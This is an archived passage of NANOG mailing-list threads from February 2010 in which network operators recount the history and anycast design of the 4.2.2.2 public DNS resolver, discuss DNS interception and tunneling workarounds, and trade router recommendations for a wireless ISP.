BBN. It wasn't even in 4/8, I think it was 128.89 (BBN Corp space), but I'm not sure. BBN didn't start to use 4/8 till the Planet build out, and NIC.near.net predates that by at least 10 years. I still have the power cord from NIC.near.net in my basement. That machine grew organically with every service known to mankind running on it, and special one-off things for customers on it. It took us literally YEARS to get that machine turned off, when we finally got it off I took the power cord so no one would help us by turning it back on, I gave the cord to Chris Yetman, who was the director of operations and told him if a customer screams he has the power to turn it back on. A year or so later, he gave the cord back to me. Yes we set up 4.2.2.1 as a public resolver. We figured trying to filter it was larger headache than just making it public. It was always pretty robust due to the BIND code, thanks to ISC, and the fact it was always IPV4 AnyCast. I don't know about now, but originally it was IPV4 AnyCast. Each server advertised a routes for 4.2.2.1, .2, and .3 at different costs and the routers would listen to the routes. Originally the start up code was, basically: advertise route to 4.2.2.1, 4.2.2.2, and 4.2.2.3 run bind in foreground mode drop route to 4.2.2.1, 4.2.2.2, and 4.2.2.3 then we had a Tivoli process that tried to restart bind, but rate limited the restarts. But that way if the bind died the routes would drop. johno On Feb 14, 2010, at 4:16 AM, Sean Reifschneider wrote: > I've wondered about this for years, but only this evening did I start > searching for details. And I really couldn't find any. > > Can anyone point me at distant history about how 4.2.2.2 came to be, in my > estimation, the most famous DNS server on the planet? > > I know that it was originally at BBN, what I'm looking for is things like: > > How the IP was picked. (I'd guess it was one of the early DNS servers, > and the people behind it realized that if there was one IP address > that really needed to be easy to remember, it was the DNS server, > for obvious reasons). > Was it always meant to be a public resolver? > How it continued to remain an open resolver, even in the face of > amplifier attacks using DNS resolvers. Perhaps it has had > rate-limiting on it for a long time. > There's a lot of conjecture about it using anycast, anyone know anything > about it's current configuration? > > So, if anyone has any stories about 4.2.2.2, I'd love to hear them. > > Thanks, > Sean > -- > Microsoft treats objects like women, man... > -- Kevin Fenzi, paraphrasing the Dude, 1998 > Sean Reifschneider, Member of Technical Staff > tummy.com, ltd. - Linux Consulting since 1995: Ask me about High Availability > > From nanog-post at rsuc.gweep.net Sun Feb 14 08:41:47 2010 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Sun, 14 Feb 2010 09:41:47 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <20100214091630.GA13678@tummy.com> References: <20100214091630.GA13678@tummy.com> Message-ID: <20100214144147.GA79498@gweep.net> On Sun, Feb 14, 2010 at 02:16:30AM -0700, Sean Reifschneider wrote: > I've wondered about this for years, but only this evening did I start > searching for details. And I really couldn't find any. > > Can anyone point me at distant history about how 4.2.2.2 came to be, in my > estimation, the most famous DNS server on the planet? I don't think anyone else can help you determine your estimaation... > I know that it was originally at BBN, what I'm looking for is things like: 4/8 was originally BBN. Anycasted DNS resolvers came to many networks somewhen 98-00 [I can't be more precise as my archive of 1994-2007 work and events is naturally out of my reach, being that employer's data]. But I seem to recall that was Rodeny's babye form the Genuity days. > How the IP was picked. (I'd guess it was one of the early DNS servers, > and the people behind it realized that if there was one IP address > that really needed to be easy to remember, it was the DNS server, > for obvious reasons). > Was it always meant to be a public resolver? > How it continued to remain an open resolver, even in the face of > amplifier attacks using DNS resolvers. Perhaps it has had > rate-limiting on it for a long time. That is a question for folks at L3. Any publicly-sharable data might be interesting presentation-fodder. > There's a lot of conjecture about it using anycast, anyone know anything > about it's current configuration? Why "conjecture"? Examining the /32s from inside and outside of 3356 clearly shows the whole set still is, and those who have been customers or worked with the 3356 folks over the years know it has historically been as well. Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From johnl at iecc.com Sun Feb 14 11:12:22 2010 From: johnl at iecc.com (John Levine) Date: 14 Feb 2010 17:12:22 -0000 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> Message-ID: <20100214171222.92375.qmail@simone.iecc.com> >It was always pretty robust due to the BIND code, thanks to ISC, and >the fact it was always IPV4 AnyCast. $ asp 4.2.2.2 # look it up in routeviews 4.0.0.0/9 ASN 3356, path 3549 -> 3356 Wow, that's a heck of an anycast block. R's, John From xenophage0 at gmail.com Sun Feb 14 11:37:01 2010 From: xenophage0 at gmail.com (Jason Frisvold) Date: Sun, 14 Feb 2010 12:37:01 -0500 Subject: dns interceptors In-Reply-To: References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> On Feb 13, 2010, at 4:58 PM, Randy Bush wrote: > i am often on funky networks in funky places. e.g. the wireless in > changi really sucked friday night. if i ssh tunneled, it would multiply > the suckiness as tcp would have puked at the loss rate. You can always run your own local resolver... Or is there a reason that's unacceptable? > smb whacked me that i should use non-tcp tunnels. > > randy > -- Jason 'XenoPhage' Frisvold XenoPhage0 at gmail.com http://blog.godshell.com From patrick at ianai.net Sun Feb 14 11:42:20 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 14 Feb 2010 12:42:20 -0500 Subject: dns interceptors In-Reply-To: <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> Message-ID: <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> On Feb 14, 2010, at 12:37 PM, Jason Frisvold wrote: > On Feb 13, 2010, at 4:58 PM, Randy Bush wrote: >> i am often on funky networks in funky places. e.g. the wireless in >> changi really sucked friday night. if i ssh tunneled, it would multiply >> the suckiness as tcp would have puked at the loss rate. > > You can always run your own local resolver... Or is there a reason that's unacceptable? How does that help? It still sends port 53 requests to the authorities, which will be intercepted. -- TTFN, patrick >> smb whacked me that i should use non-tcp tunnels. >> >> randy >> > > -- > Jason 'XenoPhage' Frisvold > XenoPhage0 at gmail.com > http://blog.godshell.com > > From xenophage0 at gmail.com Sun Feb 14 11:53:52 2010 From: xenophage0 at gmail.com (Jason Frisvold) Date: Sun, 14 Feb 2010 12:53:52 -0500 Subject: dns interceptors In-Reply-To: <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> Message-ID: <6FC73C80-819A-4423-8B29-EA625023A871@gmail.com> On Feb 14, 2010, at 12:42 PM, Patrick W. Gilmore wrote: > How does that help? It still sends port 53 requests to the authorities, which will be intercepted. Hrm.. Maybe I misunderstood. Are the packets being intercepted, or is the problem the local resolvers? Well, in either case, another option would be to use something like openvpn, cisco vpn, etc. with very limited routes. Set it up so only your dns traffic is sent over the tunnel. Then you can still use the local network, crappy as it may be, without having to deal with the added overhead of ssh and the like. > -- > TTFN, > patrick -- Jason 'XenoPhage' Frisvold XenoPhage0 at gmail.com http://blog.godshell.com From LarrySheldon at cox.net Sun Feb 14 11:54:25 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 11:54:25 -0600 Subject: dns interceptors In-Reply-To: <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> Message-ID: <4B7838D1.5050300@cox.net> On 2/14/2010 11:42 AM, Patrick W. Gilmore wrote: > On Feb 14, 2010, at 12:37 PM, Jason Frisvold wrote: >> On Feb 13, 2010, at 4:58 PM, Randy Bush wrote: >>> i am often on funky networks in funky places. e.g. the wireless in >>> changi really sucked friday night. if i ssh tunneled, it would multiply >>> the suckiness as tcp would have puked at the loss rate. >> >> You can always run your own local resolver... Or is there a reason that's unacceptable? > > How does that help? It still sends port 53 requests to the authorities, which will be intercepted. I don't have access to a trustable network to tunnel to. (Or at least I don't know how to.) I wish some enteprenure would start a subscription service to provide honest DNS (and maybe authenticatrd outbound email) that I could point to regardless of to where I may have wandered. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From patrick at ianai.net Sun Feb 14 11:56:25 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 14 Feb 2010 12:56:25 -0500 Subject: dns interceptors In-Reply-To: <6FC73C80-819A-4423-8B29-EA625023A871@gmail.com> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> <6FC73C80-819A-4423-8B29-EA625023A871@gmail.com> Message-ID: <9B8A6475-2B64-49FC-9326-27A223ECB92A@ianai.net> On Feb 14, 2010, at 12:53 PM, Jason Frisvold wrote: > On Feb 14, 2010, at 12:42 PM, Patrick W. Gilmore wrote: >> How does that help? It still sends port 53 requests to the authorities, which will be intercepted. > > Hrm.. Maybe I misunderstood. Are the packets being intercepted, or is the problem the local resolvers? While I admit I have not read every post in the thread, I note the subject line. :) > Well, in either case, another option would be to use something like openvpn, cisco vpn, etc. with very limited routes. Set it up so only your dns traffic is sent over the tunnel. Then you can still use the local network, crappy as it may be, without having to deal with the added overhead of ssh and the like. ISTM Randy's comment about SSH tunnels would have the same effect. -- TTFN, patrick From charles at knownelement.com Sun Feb 14 12:06:59 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Sun, 14 Feb 2010 18:06:59 +0000 Subject: dns interceptors Message-ID: <1153294188-1266170839-cardhu_decombobulator_blackberry.rim.net-818471106-@bda609.bisx.prod.on.blackberry> I run openvpn on my linux box to do exactly that. Already running apache/bind/postfix/xmpp with legacy Im bridges so adding openvpn was a logical next step. #protip run it on port 443. :) makes it much easier to get around firewalls. Even with deep packet inspection, SSL traffic is expected on that port. I have business class att dsl and 7 static ip addresses. I run a dell optiplex desktop 24x7 and it sips power. You could also just host services in a Colo for around 20.00 a month for dedicated virtual server. You would probably pay that anyway to a company who provided the services you mentioned. Lots of risk with being smtp relay for the world. Just ask yahoo/sbc who provide large swaths of southern California with net access. They provide dns and authenticated/encrypted smtp outbound and charge 14.95 a month for the cheap package. Sent via BlackBerry from T-Mobile From nanog2 at adns.net Sun Feb 14 12:43:12 2010 From: nanog2 at adns.net (John Palmer (NANOG Acct)) Date: Sun, 14 Feb 2010 12:43:12 -0600 Subject: History of 4.2.2.2. What's the story? References: <20100214091630.GA13678@tummy.com> <4B77EFE8.3040808@mind.net> Message-ID: 4.2.2.2 is stunted just like any other resolvers that use only the USG root. A more useful resolver is ASLAN [199.5.157.128] which is an inclusive namespace resolver which shows users a complete map of the internet, not just what ICANN wants them to see. ----- Original Message ----- From: "Steve Ryan" To: Sent: Sunday, February 14, 2010 6:43 AM Subject: Re: History of 4.2.2.2. What's the story? >I think around 10 years ago Slashdot had a few stories (and still do, > actually) about how great these resolvers were. I think that propelled > quite a bit of their growth and popularity. > > On 2/14/2010 1:16 AM, Sean Reifschneider wrote: >> I've wondered about this for years, but only this evening did I start >> searching for details. And I really couldn't find any. >> >> Can anyone point me at distant history about how 4.2.2.2 came to be, in my >> estimation, the most famous DNS server on the planet? >> >> I know that it was originally at BBN, what I'm looking for is things like: >> >> How the IP was picked. (I'd guess it was one of the early DNS servers, >> and the people behind it realized that if there was one IP address >> that really needed to be easy to remember, it was the DNS server, >> for obvious reasons). >> Was it always meant to be a public resolver? >> How it continued to remain an open resolver, even in the face of >> amplifier attacks using DNS resolvers. Perhaps it has had >> rate-limiting on it for a long time. >> There's a lot of conjecture about it using anycast, anyone know anything >> about it's current configuration? >> >> So, if anyone has any stories about 4.2.2.2, I'd love to hear them. >> >> Thanks, >> Sean >> > > From houdini+nanog at clanspum.net Sun Feb 14 12:55:57 2010 From: houdini+nanog at clanspum.net (Bill Weiss) Date: Sun, 14 Feb 2010 12:55:57 -0600 Subject: dns interceptors In-Reply-To: <4B7838D1.5050300@cox.net> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> <4B7838D1.5050300@cox.net> Message-ID: <20100214185557.GV21538@clanspum.net> Larry Sheldon(LarrySheldon at cox.net)@Sun, Feb 14, 2010 at 11:54:25AM -0600: > On 2/14/2010 11:42 AM, Patrick W. Gilmore wrote: > > On Feb 14, 2010, at 12:37 PM, Jason Frisvold wrote: > >> On Feb 13, 2010, at 4:58 PM, Randy Bush wrote: > >>> i am often on funky networks in funky places. e.g. the wireless in > >>> changi really sucked friday night. if i ssh tunneled, it would multiply > >>> the suckiness as tcp would have puked at the loss rate. > >> > >> You can always run your own local resolver... Or is there a reason that's unacceptable? > > > > How does that help? It still sends port 53 requests to the authorities, which will be intercepted. > > I don't have access to a trustable network to tunnel to. (Or at least I > don't know how to.) http://www.cotse.net/ provides that kind of service at a pretty reasonable price. I have no financial interest in that service. I know the guy who runs it, and I've used the service before and been really happy with it. -- Bill Weiss From joachim at tingvold.com Sun Feb 14 13:09:01 2010 From: joachim at tingvold.com (Joachim Tingvold) Date: Sun, 14 Feb 2010 20:09:01 +0100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <4B77EFE8.3040808@mind.net> Message-ID: <0D38E472-9482-43F7-8F02-CFB52EF71CE3@tingvold.com> On 14. feb. 2010, at 19.43, John Palmer (NANOG Acct) wrote: > 4.2.2.2 is stunted just like any other resolvers that use only the USG root. A more useful resolver is ASLAN [199.5.157.128] which is an inclusive namespace resolver which shows users a complete map of the internet, not just what ICANN wants them > to see. So you don't think that 4.2.2.2, being easier then 199.5.157.128 to remember, has something to do with that? -- Joachim Tingvold joachim at tingvold.com From bruns at 2mbit.com Sun Feb 14 13:18:34 2010 From: bruns at 2mbit.com (Brielle Bruns) Date: Sun, 14 Feb 2010 12:18:34 -0700 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <4B77EFE8.3040808@mind.net> Message-ID: <4B784C8A.1000406@2mbit.com> On 2/14/10 11:43 AM, John Palmer (NANOG Acct) wrote: > 4.2.2.2 is stunted just like any other resolvers that use only the USG > root. A more useful resolver is ASLAN [199.5.157.128] which is an > inclusive namespace resolver which shows users a complete map of the > internet, not just what ICANN wants them > to see. I feel a headache coming on... Is this more of the fun from years ago where everyone thought it would be great to create a bunch of custom TLDs then try and convince everyone to use their name servers to 'enable' these (for lack of a better word) site-local domains? I tried the OpenDNS koolaid, and well, was horribly disappointed. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From bortzmeyer at nic.fr Sun Feb 14 14:29:31 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Sun, 14 Feb 2010 21:29:31 +0100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <4B77EFE8.3040808@mind.net> Message-ID: <20100214202931.GA25038@nic.fr> On Sun, Feb 14, 2010 at 12:43:12PM -0600, John Palmer (NANOG Acct) wrote a message of 42 lines which said: > A more useful resolver is ASLAN [199.5.157.128] which is an > inclusive namespace resolver which shows users a complete map of the > internet, There are many crooks which sell dummy TLDs. At least, they make an effort to have more than two name servers for the root. But 199.5.157.128 is better, it does not just add dummy TLDs, it adds every possible TLD: % dig @199.5.157.128 A www.TJTYRMYYT67DFR453.FFDD5GCXXFFRA8O ; <<>> DiG 9.5.1-P3 <<>> @199.5.157.128 A www.TJTYRMYYT67DFR453.FFDD5GCXXFFRA8O ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53344 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.TJTYRMYYT67DFR453.FFDD5GCXXFFRA8O. IN A ;; ANSWER SECTION: www.TJTYRMYYT67DFR453.FFDD5GCXXFFRA8O. 7195 IN A 199.5.157.33 ;; AUTHORITY SECTION: . 87988 IN NS b.worldroot.net. . 87988 IN NS a.worldroot.net. ;; Query time: 146 msec ;; SERVER: 199.5.157.128#53(199.5.157.128) ;; WHEN: Sun Feb 14 21:28:54 2010 ;; MSG SIZE rcvd: 125 From lorell at hathcock.org Sun Feb 14 14:41:51 2010 From: lorell at hathcock.org (Lorell Hathcock) Date: Sun, 14 Feb 2010 14:41:51 -0600 Subject: Recommendations for router with routed copper gig-e ports? Message-ID: <07e801caadb6$23b15dc0$6b141940$@org> All: I'm involved in a project where we are cutting over a WISP from being a single broadcast domain into the grownup real world of routing between tower nodes. Of course the equipment is all Mikrotik and the single broadcast domain was easy to implement, so that's why it was done this way. My problem on the redesign is I want to provide routed, copper gig-e ports at a reasonable price per port. My thought is to provide one copper gig-e port for all of the APs at a tower and a copper gig-e port for each backhaul to other towers (typically 2 to 4). On the core nodes, I want to have one fiber gig-e port for the internet connection. BGP would be implemented on the routers that connect to the internet. OSPF would be implemented on all of the backhaul ports. So number of routed, copper gig-e ports at each tower would be: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Sincerely, Lorell Hathcock OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | lorell at officeconnect.net Texas State Security Contractor License | ONSSI Certified Channel Partner Axis Communications Channel Partner | BICSI Corporate Member Leviton Authorized Installer From johnl at iecc.com Sun Feb 14 14:47:13 2010 From: johnl at iecc.com (John Levine) Date: 14 Feb 2010 20:47:13 -0000 Subject: dns interceptors In-Reply-To: <6FC73C80-819A-4423-8B29-EA625023A871@gmail.com> Message-ID: <20100214204713.44488.qmail@simone.iecc.com> >Hrm.. Maybe I misunderstood. Are the packets being intercepted, or >is the problem the local resolvers? Both, probably. Hotel networks often intercept all port 53 traffic not out of malice, but so that they won't get support calls from people whose PCs have poorly configured DNS often pointing at caches that won't accept requests from random places. Of course, once they do that, it's hard to resist the pressure from the marketers to Enance their User Experience. R's, John From fw at deneb.enyo.de Sun Feb 14 14:50:18 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Sun, 14 Feb 2010 21:50:18 +0100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <20100214171222.92375.qmail@simone.iecc.com> (John Levine's message of "14 Feb 2010 17:12:22 -0000") References: <20100214171222.92375.qmail@simone.iecc.com> Message-ID: <87hbpjpmnp.fsf@mid.deneb.enyo.de> * John Levine: >>It was always pretty robust due to the BIND code, thanks to ISC, and >>the fact it was always IPV4 AnyCast. > > $ asp 4.2.2.2 # look it up in routeviews > 4.0.0.0/9 ASN 3356, path 3549 -> 3356 > > Wow, that's a heck of an anycast block. You can do anycast with your IGP, too. 8-) From shon at unwiredbb.com Sun Feb 14 15:17:19 2010 From: shon at unwiredbb.com (Shon Elliott) Date: Sun, 14 Feb 2010 13:17:19 -0800 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <07e801caadb6$23b15dc0$6b141940$@org> References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: <4B78685F.5010106@unwiredbb.com> We use Cisco WS-3560G-24-PS-S (Catalyst 3560G's with POE Ports). Provides POE on each port too to eliminate having to use POE bricks to radios. We actually give each AP it's own group. It's better to break them all up rather than keep them in their own broadcast domain, because from subscriber to subscriber, you can still have a big broadcast problem that could hose the entire tower. we run backhauls off of it too on different ports, and it comes with 4 ports that you can use to plug in different modules for fiber. YMMV. -S Lorell Hathcock wrote: > All: > > > > I'm involved in a project where we are cutting over a WISP from being a > single broadcast domain into the grownup real world of routing between tower > nodes. Of course the equipment is all Mikrotik and the single broadcast > domain was easy to implement, so that's why it was done this way. > > > > My problem on the redesign is I want to provide routed, copper gig-e ports > at a reasonable price per port. > > > > My thought is to provide one copper gig-e port for all of the APs at a tower > and a copper gig-e port for each backhaul to other towers (typically 2 to > 4). On the core nodes, I want to have one fiber gig-e port for the internet > connection. BGP would be implemented on the routers that connect to the > internet. OSPF would be implemented on all of the backhaul ports. > > > > So number of routed, copper gig-e ports at each tower would be: > > > > 1 - AP network (need suggestion for cost effective gig-e switch) > > 2 to 4 - back haul ports > > 1 - internet port (on one out of every 4 towers or so) (and most likely > fiber instead of copper) > > > > Does anyone have any suggestions? > > > > Sincerely, > > > > Lorell Hathcock > > > > OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | > lorell at officeconnect.net > > Texas State Security Contractor License | ONSSI Certified Channel Partner > > Axis Communications Channel Partner | BICSI Corporate Member > > Leviton Authorized Installer > > > > From jafo at tummy.com Sun Feb 14 15:19:55 2010 From: jafo at tummy.com (Sean Reifschneider) Date: Sun, 14 Feb 2010 14:19:55 -0700 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <20100214144147.GA79498@gweep.net> References: <20100214091630.GA13678@tummy.com> <20100214144147.GA79498@gweep.net> Message-ID: <4B7868FB.5040901@tummy.com> On 02/14/2010 07:41 AM, Joe Provo wrote: > I don't think anyone else can help you determine your estimaation... Sorry, I was being kind of flippant and paying homage to the "Peggy Hill" character in _King_of_the_Hill_. > That is a question for folks at L3. Any publicly-sharable data might > be interesting presentation-fodder. Good idea, I'll have to see if I have any links into L3 that can help. > Why "conjecture"? Examining the /32s from inside and outside of 3356 I said conjecture because every person I found in my searches said things like "I think it might be anycasted" or "they could be using anycast". Until this thread, I didn't see any that spoke with authority on the subject. Thanks for the reply. Sean -- Sean Reifschneider, Member of Technical Staff tummy.com, ltd. - Linux Consulting since 1995: Ask me about High Availability -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 253 bytes Desc: OpenPGP digital signature URL: From jafo at tummy.com Sun Feb 14 15:25:03 2010 From: jafo at tummy.com (Sean Reifschneider) Date: Sun, 14 Feb 2010 14:25:03 -0700 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> Message-ID: <4B786A2F.1000500@tummy.com> On 02/14/2010 07:16 AM, John Orthoefer wrote: > Since I'm watching B5 again on DVD.... Awesome. Thanks for taking the time to reply, I really enjoyed the story. Have fun with the B5. The only time I watched it was on a VHS borrowed from a friend. It was a 3'x3' cabinet full of them. :-) Sean -- Sean Reifschneider, Member of Technical Staff tummy.com, ltd. - Linux Consulting since 1995: Ask me about High Availability -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 253 bytes Desc: OpenPGP digital signature URL: From scott at doc.net.au Sun Feb 14 16:00:27 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 14:00:27 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <4B7868FB.5040901@tummy.com> References: <20100214091630.GA13678@tummy.com> <20100214144147.GA79498@gweep.net> <4B7868FB.5040901@tummy.com> Message-ID: On Sun, Feb 14, 2010 at 1:19 PM, Sean Reifschneider wrote: >> Why "conjecture"? ?Examining the /32s from inside and outside of 3356 > > I said conjecture because every person I found in my searches said things > like "I think it might be anycasted" or "they could be using anycast". > Until this thread, I didn't see any that spoke with authority on the > subject. http://www.traceroute.org (and/or http://lg.level3.net, etc) will show pretty readily confirm that it's anycast. They will also show that in some parts of the world the various 4.2.2.1-6 addresses go to different locations. eg, from Level 3 in London I'm seeing 4.2.2.1, .3 and .5 going to London, but .2, .4 and .6 all go to Frankfurt. Personally I've moved away from using 4.2.2.1 and .2 after we had a few issues with them, especially in Europe. 4.2.2.5 and .6 seem to be far more stable, although obviously that might vary depending on region. Scott. From marka at isc.org Sun Feb 14 16:17:12 2010 From: marka at isc.org (Mark Andrews) Date: Mon, 15 Feb 2010 09:17:12 +1100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: Your message of "Sun, 14 Feb 2010 09:16:13 CDT." <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> Message-ID: <201002142217.o1EMHCi8071152@drugs.dv.isc.org> In message <182E6E76-F12A-41D9-800A-E5E40F3C3B7D at direwolf.com>, John Orthoefer writes: > Genuity/GTEI/Planet/BBN owned 4/8. Brett went looking for an IP that = > was simple to remember, I think 4.4.4.4 was in use by neteng already. = > But it was picked to be easy to remember, I think jhawk had put a hold = > on the 4.2.2.0/24 block, we got/grabbed 3 address 4.2.2.1, 4.2.2.2, and = > 4.2.2.3 so people had 3 address to go to. At the time people had = > issues with just using a single resolver. We also had issues with both = > users and registers since clearly they aren't geographically diverse, = > trying to explain routing tricks to people KNOW all IPs come in and are = > routed as Class A/B/C blocks is hard. I don't care what internal routing tricks are used, they are still under the *one* external route and as such subject to single points of failure and as such don't have enough independence. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From patrick at ianai.net Sun Feb 14 16:20:42 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 14 Feb 2010 17:20:42 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <201002142217.o1EMHCi8071152@drugs.dv.isc.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> Message-ID: <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> On Feb 14, 2010, at 5:17 PM, Mark Andrews wrote: > In message <182E6E76-F12A-41D9-800A-E5E40F3C3B7D at direwolf.com>, John Orthoefer > writes: >> Genuity/GTEI/Planet/BBN owned 4/8. Brett went looking for an IP that = >> was simple to remember, I think 4.4.4.4 was in use by neteng already. = >> But it was picked to be easy to remember, I think jhawk had put a hold = >> on the 4.2.2.0/24 block, we got/grabbed 3 address 4.2.2.1, 4.2.2.2, and = >> 4.2.2.3 so people had 3 address to go to. At the time people had = >> issues with just using a single resolver. We also had issues with both = >> users and registers since clearly they aren't geographically diverse, = >> trying to explain routing tricks to people KNOW all IPs come in and are = >> routed as Class A/B/C blocks is hard. > > I don't care what internal routing tricks are used, they are still > under the *one* external route and as such subject to single points > of failure and as such don't have enough independence. It's an open recursive name server, it is free, has no SLA, and is not critical infrastructure. Besides, it is quicker / better to use your local ISP's RNS. If something goes wrong, you can fall back to OpenDNS or L3, and, of course, yell at the _company_you_are_paying_ when their stuff doesn't work. :) -- TTFN, patrick From jabley at hopcount.ca Sun Feb 14 16:35:54 2010 From: jabley at hopcount.ca (Joe Abley) Date: Sun, 14 Feb 2010 17:35:54 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <201002142217.o1EMHCi8071152@drugs.dv.isc.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> Message-ID: <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> On 2010-02-14, at 17:17, Mark Andrews wrote: > I don't care what internal routing tricks are used, they are still > under the *one* external route and as such subject to single points > of failure and as such don't have enough independence. Are you asserting architectural control over what Level3 decide to do with their own servers, Mark? :-) If their goal is distribute a service for the benefit of their own customers, then keeping all anycast nodes associated with that service on-net seems entirely sensible. Joe From rgolodner at infratection.com Sun Feb 14 16:37:20 2010 From: rgolodner at infratection.com (Richard Golodner) Date: Sun, 14 Feb 2010 16:37:20 -0600 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> Message-ID: <1266187040.6462.5.camel@Andromeda> On Sun, 2010-02-14 at 17:20 -0500, Patrick W. Gilmore wrote: > Besides, it is quicker / better to use your local ISP's RNS. If > something goes wrong, you can fall back to OpenDNS or L3, and, of > course, yell at the _company_you_are_paying_ when their stuff doesn't > work. :) The best advice I have read all day. I have recently been on a few networks that will not allow 4.2.2.2 to resolve for the clients. Cisco tech support tells their customers (us) to use it when testing. Perhaps this is not such a good practice. Patrick is correct. Use your own stuff and yell when it does not work. From marka at isc.org Sun Feb 14 16:43:59 2010 From: marka at isc.org (Mark Andrews) Date: Mon, 15 Feb 2010 09:43:59 +1100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: Your message of "Sun, 14 Feb 2010 17:35:54 CDT." <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> Message-ID: <201002142243.o1EMhx44071536@drugs.dv.isc.org> In message <10BE7B64-46FF-46D8-A428-268897413EB4 at hopcount.ca>, Joe Abley writes : > On 2010-02-14, at 17:17, Mark Andrews wrote: > > > I don't care what internal routing tricks are used, they are still > > under the *one* external route and as such subject to single points > > of failure and as such don't have enough independence. > > Are you asserting architectural control over what Level3 decide to do = > with their own servers, Mark? :-) No. The reason 